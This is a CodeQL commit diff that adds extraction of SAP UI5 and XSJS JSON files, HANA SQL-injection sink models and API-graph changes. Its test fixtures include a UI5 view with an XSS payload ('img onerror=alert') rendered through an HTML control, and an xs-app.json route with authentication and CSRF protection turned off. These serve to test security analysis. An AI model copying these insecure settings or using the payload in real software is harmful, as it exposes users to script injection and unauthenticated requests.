mirror of
https://github.com/github/codeql.git
synced 2026-04-26 01:05:15 +02:00
Merge branch 'main' into js/name-resolution-independent-fixes
This commit is contained in:
@@ -160,6 +160,9 @@ import com.semmle.util.trap.TrapWriter;
|
||||
* is of the form "codeql-javascript-*.json".
|
||||
* <li>JavaScript, JSON or YAML files whose base name starts with ".eslintrc".
|
||||
* <li>JSON files whose base name is ".xsaccess".
|
||||
* <li>JSON files whose base name is "xs-app.json".
|
||||
* <li>JSON files whose base name ends with ".view.json".
|
||||
* <li>JSON files whose base name is "manifest.json".
|
||||
* <li>All extension-less files.
|
||||
* </ul>
|
||||
*
|
||||
@@ -394,10 +397,12 @@ public class AutoBuild {
|
||||
for (FileType filetype : defaultExtract)
|
||||
for (String extension : filetype.getExtensions()) patterns.add("**/*" + extension);
|
||||
|
||||
// include .eslintrc files, .xsaccess files, package.json files,
|
||||
// tsconfig.json files, and codeql-javascript-*.json files
|
||||
// include JSON files which are relevant to our analysis
|
||||
patterns.add("**/.eslintrc*");
|
||||
patterns.add("**/.xsaccess");
|
||||
patterns.add("**/.xsaccess"); // SAP XSJS
|
||||
patterns.add("**/xs-app.json"); // SAP XSJS
|
||||
patterns.add("**/*.view.json"); // SAP UI5
|
||||
patterns.add("**/manifest.json");
|
||||
patterns.add("**/package.json");
|
||||
patterns.add("**/tsconfig*.json");
|
||||
patterns.add("**/codeql-javascript-*.json");
|
||||
|
||||
16
javascript/extractor/tests/ui5/input/test.view.json
Normal file
16
javascript/extractor/tests/ui5/input/test.view.json
Normal file
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"Type": "sap.ui.core.mvc.JSONView",
|
||||
"controllerName": "codeql-sap-js.controller.app",
|
||||
"content": [
|
||||
{
|
||||
"Type": "sap.m.Input",
|
||||
"placeholder": "Enter Payload",
|
||||
"description": "Try: <img src=x onerror=alert(\"XSS\")>",
|
||||
"value": "{/input}"
|
||||
},
|
||||
{
|
||||
"Type": "sap.ui.core.HTML",
|
||||
"content": "{/input}"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
#10000=@"/test.view.json;sourcefile"
|
||||
files(#10000,"/test.view.json")
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=*
|
||||
json(#20000,5,#10000,0,"{\n "" ... ]\n}")
|
||||
#20001=@"loc,{#10000},1,1,16,1"
|
||||
locations_default(#20001,#10000,1,1,16,1)
|
||||
json_locations(#20000,#20001)
|
||||
#20002=*
|
||||
json(#20002,3,#20000,0,"""sap.ui ... ONView""")
|
||||
#20003=@"loc,{#10000},2,13,2,38"
|
||||
locations_default(#20003,#10000,2,13,2,38)
|
||||
json_locations(#20002,#20003)
|
||||
json_literals("sap.ui.core.mvc.JSONView","""sap.ui.core.mvc.JSONView""",#20002)
|
||||
json_properties(#20000,"Type",#20002)
|
||||
#20004=*
|
||||
json(#20004,3,#20000,1,"""codeql ... er.app""")
|
||||
#20005=@"loc,{#10000},3,23,3,52"
|
||||
locations_default(#20005,#10000,3,23,3,52)
|
||||
json_locations(#20004,#20005)
|
||||
json_literals("codeql-sap-js.controller.app","""codeql-sap-js.controller.app""",#20004)
|
||||
json_properties(#20000,"controllerName",#20004)
|
||||
#20006=*
|
||||
json(#20006,4,#20000,2,"[\n ... }\n ]")
|
||||
#20007=@"loc,{#10000},4,16,15,5"
|
||||
locations_default(#20007,#10000,4,16,15,5)
|
||||
json_locations(#20006,#20007)
|
||||
#20008=*
|
||||
json(#20008,5,#20006,0,"{\n ... }")
|
||||
#20009=@"loc,{#10000},5,9,10,9"
|
||||
locations_default(#20009,#10000,5,9,10,9)
|
||||
json_locations(#20008,#20009)
|
||||
#20010=*
|
||||
json(#20010,3,#20008,0,"""sap.m.Input""")
|
||||
#20011=@"loc,{#10000},6,21,6,33"
|
||||
locations_default(#20011,#10000,6,21,6,33)
|
||||
json_locations(#20010,#20011)
|
||||
json_literals("sap.m.Input","""sap.m.Input""",#20010)
|
||||
json_properties(#20008,"Type",#20010)
|
||||
#20012=*
|
||||
json(#20012,3,#20008,1,"""Enter Payload""")
|
||||
#20013=@"loc,{#10000},7,28,7,42"
|
||||
locations_default(#20013,#10000,7,28,7,42)
|
||||
json_locations(#20012,#20013)
|
||||
json_literals("Enter Payload","""Enter Payload""",#20012)
|
||||
json_properties(#20008,"placeholder",#20012)
|
||||
#20014=*
|
||||
json(#20014,3,#20008,2,"""Try: < ... SS\"")>""")
|
||||
#20015=@"loc,{#10000},8,28,8,68"
|
||||
locations_default(#20015,#10000,8,28,8,68)
|
||||
json_locations(#20014,#20015)
|
||||
json_literals("Try: <img src=x onerror=alert(""XSS"")>","""Try: <img src=x onerror=alert(\""XSS\"")>""",#20014)
|
||||
json_properties(#20008,"description",#20014)
|
||||
#20016=*
|
||||
json(#20016,3,#20008,3,"""{/input}""")
|
||||
#20017=@"loc,{#10000},9,22,9,31"
|
||||
locations_default(#20017,#10000,9,22,9,31)
|
||||
json_locations(#20016,#20017)
|
||||
json_literals("{/input}","""{/input}""",#20016)
|
||||
json_properties(#20008,"value",#20016)
|
||||
#20018=*
|
||||
json(#20018,5,#20006,1,"{\n ... }")
|
||||
#20019=@"loc,{#10000},11,9,14,9"
|
||||
locations_default(#20019,#10000,11,9,14,9)
|
||||
json_locations(#20018,#20019)
|
||||
#20020=*
|
||||
json(#20020,3,#20018,0,"""sap.ui.core.HTML""")
|
||||
#20021=@"loc,{#10000},12,21,12,38"
|
||||
locations_default(#20021,#10000,12,21,12,38)
|
||||
json_locations(#20020,#20021)
|
||||
json_literals("sap.ui.core.HTML","""sap.ui.core.HTML""",#20020)
|
||||
json_properties(#20018,"Type",#20020)
|
||||
#20022=*
|
||||
json(#20022,3,#20018,1,"""{/input}""")
|
||||
#20023=@"loc,{#10000},13,24,13,33"
|
||||
locations_default(#20023,#10000,13,24,13,33)
|
||||
json_locations(#20022,#20023)
|
||||
json_literals("{/input}","""{/input}""",#20022)
|
||||
json_properties(#20018,"content",#20022)
|
||||
json_properties(#20000,"content",#20006)
|
||||
numlines(#10000,16,0,0)
|
||||
filetype(#10000,"json")
|
||||
12
javascript/extractor/tests/xsjs/input/xs-app.json
Normal file
12
javascript/extractor/tests/xsjs/input/xs-app.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"welcomeFile": "index.html",
|
||||
"authenticationMethod": "none",
|
||||
"routes": [
|
||||
{
|
||||
"source": "/bad/(.*)",
|
||||
"destination": "srv_api",
|
||||
"csrfProtection": false,
|
||||
"authenticationType": "none"
|
||||
}
|
||||
]
|
||||
}
|
||||
68
javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap
Normal file
68
javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap
Normal file
@@ -0,0 +1,68 @@
|
||||
#10000=@"/xs-app.json;sourcefile"
|
||||
files(#10000,"/xs-app.json")
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=*
|
||||
json(#20000,5,#10000,0,"{\n "" ... ]\n}")
|
||||
#20001=@"loc,{#10000},1,1,12,1"
|
||||
locations_default(#20001,#10000,1,1,12,1)
|
||||
json_locations(#20000,#20001)
|
||||
#20002=*
|
||||
json(#20002,3,#20000,0,"""index.html""")
|
||||
#20003=@"loc,{#10000},2,20,2,31"
|
||||
locations_default(#20003,#10000,2,20,2,31)
|
||||
json_locations(#20002,#20003)
|
||||
json_literals("index.html","""index.html""",#20002)
|
||||
json_properties(#20000,"welcomeFile",#20002)
|
||||
#20004=*
|
||||
json(#20004,3,#20000,1,"""none""")
|
||||
#20005=@"loc,{#10000},3,29,3,34"
|
||||
locations_default(#20005,#10000,3,29,3,34)
|
||||
json_locations(#20004,#20005)
|
||||
json_literals("none","""none""",#20004)
|
||||
json_properties(#20000,"authenticationMethod",#20004)
|
||||
#20006=*
|
||||
json(#20006,4,#20000,2,"[\n ... }\n ]")
|
||||
#20007=@"loc,{#10000},4,15,11,5"
|
||||
locations_default(#20007,#10000,4,15,11,5)
|
||||
json_locations(#20006,#20007)
|
||||
#20008=*
|
||||
json(#20008,5,#20006,0,"{\n ... }")
|
||||
#20009=@"loc,{#10000},5,9,10,9"
|
||||
locations_default(#20009,#10000,5,9,10,9)
|
||||
json_locations(#20008,#20009)
|
||||
#20010=*
|
||||
json(#20010,3,#20008,0,"""/bad/(.*)""")
|
||||
#20011=@"loc,{#10000},6,23,6,33"
|
||||
locations_default(#20011,#10000,6,23,6,33)
|
||||
json_locations(#20010,#20011)
|
||||
json_literals("/bad/(.*)","""/bad/(.*)""",#20010)
|
||||
json_properties(#20008,"source",#20010)
|
||||
#20012=*
|
||||
json(#20012,3,#20008,1,"""srv_api""")
|
||||
#20013=@"loc,{#10000},7,28,7,36"
|
||||
locations_default(#20013,#10000,7,28,7,36)
|
||||
json_locations(#20012,#20013)
|
||||
json_literals("srv_api","""srv_api""",#20012)
|
||||
json_properties(#20008,"destination",#20012)
|
||||
#20014=*
|
||||
json(#20014,1,#20008,2,"false")
|
||||
#20015=@"loc,{#10000},8,31,8,35"
|
||||
locations_default(#20015,#10000,8,31,8,35)
|
||||
json_locations(#20014,#20015)
|
||||
json_literals("false","false",#20014)
|
||||
json_properties(#20008,"csrfProtection",#20014)
|
||||
#20016=*
|
||||
json(#20016,3,#20008,3,"""none""")
|
||||
#20017=@"loc,{#10000},9,35,9,40"
|
||||
locations_default(#20017,#10000,9,35,9,40)
|
||||
json_locations(#20016,#20017)
|
||||
json_literals("none","""none""",#20016)
|
||||
json_properties(#20008,"authenticationType",#20016)
|
||||
json_properties(#20000,"routes",#20006)
|
||||
numlines(#10000,12,0,0)
|
||||
filetype(#10000,"json")
|
||||
@@ -1,3 +1,35 @@
|
||||
## 2.6.0
|
||||
|
||||
### New Features
|
||||
|
||||
* Extraction now supports regular expressions with the `v` flag, using the new operators:
|
||||
- Intersection `&&`
|
||||
- Subtraction `--`
|
||||
- `\q` quoted string
|
||||
|
||||
### Major Analysis Improvements
|
||||
|
||||
* Added support for TypeScript 5.8.
|
||||
|
||||
### Minor Analysis Improvements
|
||||
|
||||
* Added support for additional `fs-extra` methods as sinks in path-injection queries.
|
||||
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
|
||||
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
|
||||
* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
|
||||
* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
|
||||
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
|
||||
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
|
||||
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
|
||||
* Added support for the `underscore.string` package.
|
||||
* Added additional flow step for `unescape()` and `escape()`.
|
||||
* Added support for the `@tanstack/vue-query` package.
|
||||
* Added taint-steps for `unescape()`.
|
||||
* Added support for the `@tanstack/angular-query-experimental` package.
|
||||
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
|
||||
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
|
||||
* Added support for the `react-relay` library.
|
||||
|
||||
## 2.5.1
|
||||
|
||||
No user-facing changes.
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: majorAnalysis
|
||||
---
|
||||
* Added support for TypeScript 5.8.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the `react-relay` library.
|
||||
@@ -1,7 +0,0 @@
|
||||
---
|
||||
category: feature
|
||||
---
|
||||
* Extraction now supports regular expressions with the `v` flag, using the new operators:
|
||||
- Intersection `&&`
|
||||
- Subtraction `--`
|
||||
- `\q` quoted string
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
|
||||
@@ -1,5 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the `@tanstack/angular-query-experimental` package.
|
||||
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the `@tanstack/vue-query` package.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added taint-steps for `unescape()`.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added additional flow step for `unescape()` and `escape()`.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the `underscore.string` package.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
|
||||
31
javascript/ql/lib/change-notes/released/2.6.0.md
Normal file
31
javascript/ql/lib/change-notes/released/2.6.0.md
Normal file
@@ -0,0 +1,31 @@
|
||||
## 2.6.0
|
||||
|
||||
### New Features
|
||||
|
||||
* Extraction now supports regular expressions with the `v` flag, using the new operators:
|
||||
- Intersection `&&`
|
||||
- Subtraction `--`
|
||||
- `\q` quoted string
|
||||
|
||||
### Major Analysis Improvements
|
||||
|
||||
* Added support for TypeScript 5.8.
|
||||
|
||||
### Minor Analysis Improvements
|
||||
|
||||
* Added support for additional `fs-extra` methods as sinks in path-injection queries.
|
||||
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
|
||||
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
|
||||
* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
|
||||
* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
|
||||
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
|
||||
* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
|
||||
* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
|
||||
* Added support for the `underscore.string` package.
|
||||
* Added additional flow step for `unescape()` and `escape()`.
|
||||
* Added support for the `@tanstack/vue-query` package.
|
||||
* Added taint-steps for `unescape()`.
|
||||
* Added support for the `@tanstack/angular-query-experimental` package.
|
||||
* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
|
||||
* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
|
||||
* Added support for the `react-relay` library.
|
||||
@@ -1,2 +1,2 @@
|
||||
---
|
||||
lastReleaseVersion: 2.5.1
|
||||
lastReleaseVersion: 2.6.0
|
||||
|
||||
27
javascript/ql/lib/ext/hana-db-client.model.yml
Normal file
27
javascript/ql/lib/ext/hana-db-client.model.yml
Normal file
@@ -0,0 +1,27 @@
|
||||
extensions:
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sinkModel
|
||||
data:
|
||||
- ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"]
|
||||
- ["hdb.Client", "Member[exec,prepare,execute].Argument[0]", "sql-injection"]
|
||||
- ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"]
|
||||
- ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"]
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: typeModel
|
||||
data:
|
||||
- ["hdb.Client", "hdb", "Member[createClient].ReturnValue"]
|
||||
- ["hdb.Client", "@sap/hdbext", "Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[db]"]
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[exec].Argument[1].Parameter[1]', 'database-access-result']
|
||||
- ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[prepare].ReturnValue.Member[execBatch,exec,execQuery].Argument[1].Parameter[1]', 'database-access-result']
|
||||
- ['hdb.Client', 'Member[exec,execute].Argument[1..2].Parameter[1]', 'database-access-result']
|
||||
- ['hdb.Client', 'Member[prepare].Argument[1].Parameter[1].Member[exec].Argument[1].Parameter[2..]', 'database-access-result']
|
||||
- ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[2].Parameter[1].Member[exec].Argument[1].Parameter[2..]", "database-access-result"]
|
||||
- ['@sap/hdbext', 'Member[loadProcedure].Argument[3].Parameter[1].Argument[2].Parameter[2..]', 'database-access-result']
|
||||
@@ -1,5 +1,5 @@
|
||||
name: codeql/javascript-all
|
||||
version: 2.5.2-dev
|
||||
version: 2.6.1-dev
|
||||
groups: javascript
|
||||
dbscheme: semmlecode.javascript.dbscheme
|
||||
extractor: javascript
|
||||
|
||||
@@ -318,6 +318,11 @@ module API {
|
||||
Node getParameter(int i) {
|
||||
Stages::ApiStage::ref() and
|
||||
result = this.getASuccessor(Label::parameter(i))
|
||||
or
|
||||
exists(int spreadIndex, string arrayProp |
|
||||
result = this.getASuccessor(Label::spreadArgument(spreadIndex)).getMember(arrayProp) and
|
||||
i = spreadIndex + arrayProp.toInt()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -860,6 +865,23 @@ module API {
|
||||
.getStaticMember(name, DataFlow::MemberKind::getter())
|
||||
.getAReturn()
|
||||
)
|
||||
or
|
||||
// Handle rest parameters escaping into external code. For example:
|
||||
//
|
||||
// function foo(...rest) {
|
||||
// externalFunc(rest);
|
||||
// }
|
||||
//
|
||||
// Here, 'rest' reaches a def-node at the call to externalFunc, so we need to ensure
|
||||
// the arguments passed to 'foo' are stored in the 'rest' array.
|
||||
exists(Function fun, DataFlow::InvokeNode invoke, int argIndex, Parameter rest |
|
||||
fun.getRestParameter() = rest and
|
||||
rest.flow() = pred and
|
||||
invoke.getACallee() = fun and
|
||||
invoke.getArgument(argIndex) = rhs and
|
||||
argIndex >= rest.getIndex() and
|
||||
lbl = Label::member((argIndex - rest.getIndex()).toString())
|
||||
)
|
||||
)
|
||||
or
|
||||
exists(DataFlow::ClassNode cls, string name |
|
||||
@@ -888,6 +910,11 @@ module API {
|
||||
i = -1 and lbl = Label::receiver()
|
||||
)
|
||||
or
|
||||
exists(int i |
|
||||
spreadArgumentPassing(base, i, rhs) and
|
||||
lbl = Label::spreadArgument(i)
|
||||
)
|
||||
or
|
||||
exists(DataFlow::SourceNode src, DataFlow::PropWrite pw |
|
||||
use(base, src) and pw = trackUseNode(src).getAPropertyWrite() and rhs = pw.getRhs()
|
||||
|
|
||||
@@ -931,6 +958,29 @@ module API {
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private int firstSpreadIndex(InvokeExpr expr) {
|
||||
result = min(int i | expr.getArgument(i) instanceof SpreadElement)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private InvokeExpr getAnInvocationWithSpread(DataFlow::SourceNode node, int i) {
|
||||
result = node.getAnInvocation().asExpr() and
|
||||
i = firstSpreadIndex(result)
|
||||
}
|
||||
|
||||
private predicate spreadArgumentPassing(TApiNode base, int i, DataFlow::Node spreadArray) {
|
||||
exists(
|
||||
DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke, int spreadPos
|
||||
|
|
||||
use(base, use) and
|
||||
pred = trackUseNode(use, _, bound, "") and
|
||||
invoke = getAnInvocationWithSpread(pred, spreadPos) and
|
||||
spreadArray = invoke.getArgument(spreadPos).(SpreadElement).getOperand().flow() and
|
||||
i = bound + spreadPos
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `rhs` is the right-hand side of a definition of node `nd`.
|
||||
*/
|
||||
@@ -1579,6 +1629,9 @@ module API {
|
||||
/** Gets the edge label for the receiver. */
|
||||
LabelReceiver receiver() { any() }
|
||||
|
||||
/** Gets the edge label for a spread argument passed at index `i`. */
|
||||
LabelSpreadArgument spreadArgument(int i) { result.getIndex() = i }
|
||||
|
||||
/** Gets the `return` edge label. */
|
||||
LabelReturn return() { any() }
|
||||
|
||||
@@ -1628,6 +1681,7 @@ module API {
|
||||
} or
|
||||
MkLabelReceiver() or
|
||||
MkLabelReturn() or
|
||||
MkLabelSpreadArgument(int index) { index = [0 .. 10] } or
|
||||
MkLabelDecoratedClass() or
|
||||
MkLabelDecoratedMember() or
|
||||
MkLabelDecoratedParameter() or
|
||||
@@ -1743,6 +1797,21 @@ module API {
|
||||
override string toString() { result = "getReceiver()" }
|
||||
}
|
||||
|
||||
/** A label representing an array passed as a spread argument at a given index. */
|
||||
class LabelSpreadArgument extends ApiLabel, MkLabelSpreadArgument {
|
||||
private int index;
|
||||
|
||||
LabelSpreadArgument() { this = MkLabelSpreadArgument(index) }
|
||||
|
||||
/** Gets the argument index at which the spread argument appears. */
|
||||
int getIndex() { result = index }
|
||||
|
||||
override string toString() {
|
||||
// Note: This refers to the internal edge that has no corresponding method on API::Node
|
||||
result = "getSpreadArgument(" + index + ")"
|
||||
}
|
||||
}
|
||||
|
||||
/** A label for a function that is a wrapper around another function. */
|
||||
class LabelForwardingFunction extends ApiLabel, MkLabelForwardingFunction {
|
||||
override string toString() { result = "getForwardingFunction()" }
|
||||
|
||||
@@ -254,6 +254,12 @@ private module Cached {
|
||||
cached
|
||||
predicate invocation(DataFlow::SourceNode func, DataFlow::InvokeNode invoke) {
|
||||
hasLocalSource(invoke.getCalleeNode(), func)
|
||||
or
|
||||
exists(ClassDefinition cls, SuperCall call |
|
||||
hasLocalSource(cls.getSuperClass().flow(), func) and
|
||||
call.getBinder() = cls.getConstructor().getBody() and
|
||||
invoke = call.flow()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -56,14 +56,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
|
||||
predicate hasCfgNode(js::BasicBlock bb, int i) { this = bb.getNode(i) }
|
||||
}
|
||||
|
||||
predicate ssaDefAssigns(WriteDefinition def, Expr value) {
|
||||
// This library only handles use-use flow after a post-update, there are no definitions, only uses.
|
||||
none()
|
||||
}
|
||||
|
||||
class Parameter = js::Parameter;
|
||||
|
||||
predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) {
|
||||
predicate ssaDefHasSource(WriteDefinition def) {
|
||||
// This library only handles use-use flow after a post-update, there are no definitions, only uses.
|
||||
none()
|
||||
}
|
||||
@@ -97,7 +90,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
|
||||
}
|
||||
|
||||
pragma[inline]
|
||||
predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
exists(js::ConditionGuardNode g |
|
||||
g.getTest() = guard and
|
||||
g.dominates(bb) and
|
||||
|
||||
@@ -11,8 +11,8 @@ module Hapi {
|
||||
*/
|
||||
class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
|
||||
ServerDefinition() {
|
||||
// `server = new Hapi.Server()`
|
||||
this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
|
||||
// `server = new Hapi.Server()`, `server = Hapi.server()`
|
||||
this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
|
||||
or
|
||||
// `server = Glue.compose(manifest, composeOptions)`
|
||||
this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()
|
||||
|
||||
@@ -434,7 +434,7 @@ module NodeJSLib {
|
||||
* method might represent a file path.
|
||||
*/
|
||||
private predicate fsExtraExtensionFileParam(string methodName, int i) {
|
||||
methodName = ["copy", "copySync", "copyFile"] and i = [0, 1]
|
||||
methodName = ["copy", "copySync", "copyFile", "cp", "copyFileSync", "cpSync"] and i = [0, 1]
|
||||
or
|
||||
methodName = ["move", "moveSync"] and i = [0, 1]
|
||||
or
|
||||
@@ -450,10 +450,13 @@ module NodeJSLib {
|
||||
or
|
||||
methodName = ["readJson", "readJSON", "readJsonSync", "readJSONSync"] and i = 0
|
||||
or
|
||||
methodName = ["remove", "removeSync"] and i = 0
|
||||
methodName = ["remove", "removeSync", "rmSync", "rm", "rmdir", "rmdirSync"] and i = 0
|
||||
or
|
||||
methodName =
|
||||
["outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync"] and
|
||||
[
|
||||
"outputJSON", "outputJson", "writeJSON", "writeJson", "writeJSONSync", "writeJsonSync",
|
||||
"outputJSONSync", "outputJsonSync"
|
||||
] and
|
||||
i = 0
|
||||
or
|
||||
methodName = ["ensureFile", "ensureFileSync"] and i = 0
|
||||
@@ -462,9 +465,15 @@ module NodeJSLib {
|
||||
or
|
||||
methodName = ["ensureSymlink", "ensureSymlinkSync"] and i = [0, 1]
|
||||
or
|
||||
methodName = ["emptyDir", "emptyDirSync"] and i = 0
|
||||
methodName = ["emptyDir", "emptyDirSync", "emptydir", "emptydirSync"] and i = 0
|
||||
or
|
||||
methodName = ["pathExists", "pathExistsSync"] and i = 0
|
||||
or
|
||||
methodName = ["lutimes", "lutimesSync"] and i = 0
|
||||
or
|
||||
methodName =
|
||||
["opendir", "opendirSync", "openAsBlob", "statfs", "statfsSync", "open", "openSync"] and
|
||||
i = 0
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -592,6 +601,13 @@ module NodeJSLib {
|
||||
}
|
||||
}
|
||||
|
||||
/** A vectored write to the file system using `writev` or `writevSync` methods. */
|
||||
private class NodeJSFileSystemVectorWrite extends FileSystemWriteAccess, NodeJSFileSystemAccess {
|
||||
NodeJSFileSystemVectorWrite() { methodName = ["writev", "writevSync"] }
|
||||
|
||||
override DataFlow::Node getADataNode() { result = this.getArgument(1) }
|
||||
}
|
||||
|
||||
/** A file system read. */
|
||||
private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
|
||||
NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }
|
||||
@@ -619,6 +635,22 @@ module NodeJSLib {
|
||||
}
|
||||
}
|
||||
|
||||
/** A vectored read to the file system. */
|
||||
private class NodeJSFileSystemAccessVectorRead extends FileSystemReadAccess,
|
||||
NodeJSFileSystemAccess
|
||||
{
|
||||
NodeJSFileSystemAccessVectorRead() { methodName = ["readv", "readvSync"] }
|
||||
|
||||
override DataFlow::Node getADataNode() {
|
||||
result = this.getArgument(1)
|
||||
or
|
||||
exists(DataFlow::ArrayCreationNode array |
|
||||
array.flowsTo(this.getArgument(1)) and
|
||||
result = array.getAnElement()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A write to the file system, using a stream.
|
||||
*/
|
||||
|
||||
@@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
|
||||
or
|
||||
token.getName() = "DecoratedParameter" and
|
||||
result = node.getADecoratedParameter()
|
||||
or
|
||||
token.getName() = "GuardedRouteHandler" and
|
||||
result = getAGuardedRouteHandlerApprox(node)
|
||||
}
|
||||
|
||||
bindingset[node]
|
||||
pragma[inline_late]
|
||||
private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
|
||||
// For now just get any routing node with the same root (i.e. the same web app), as
|
||||
// there are some known performance issues when checking if it is actually guarded by the given node.
|
||||
exists(JS::Routing::Node root |
|
||||
root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
|
||||
root = JS::Routing::getNode(result.asSink()).getRootNode()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
|
||||
[
|
||||
"Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
|
||||
"NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
|
||||
"WithStringArgument"
|
||||
"WithStringArgument", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
@@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
|
||||
name =
|
||||
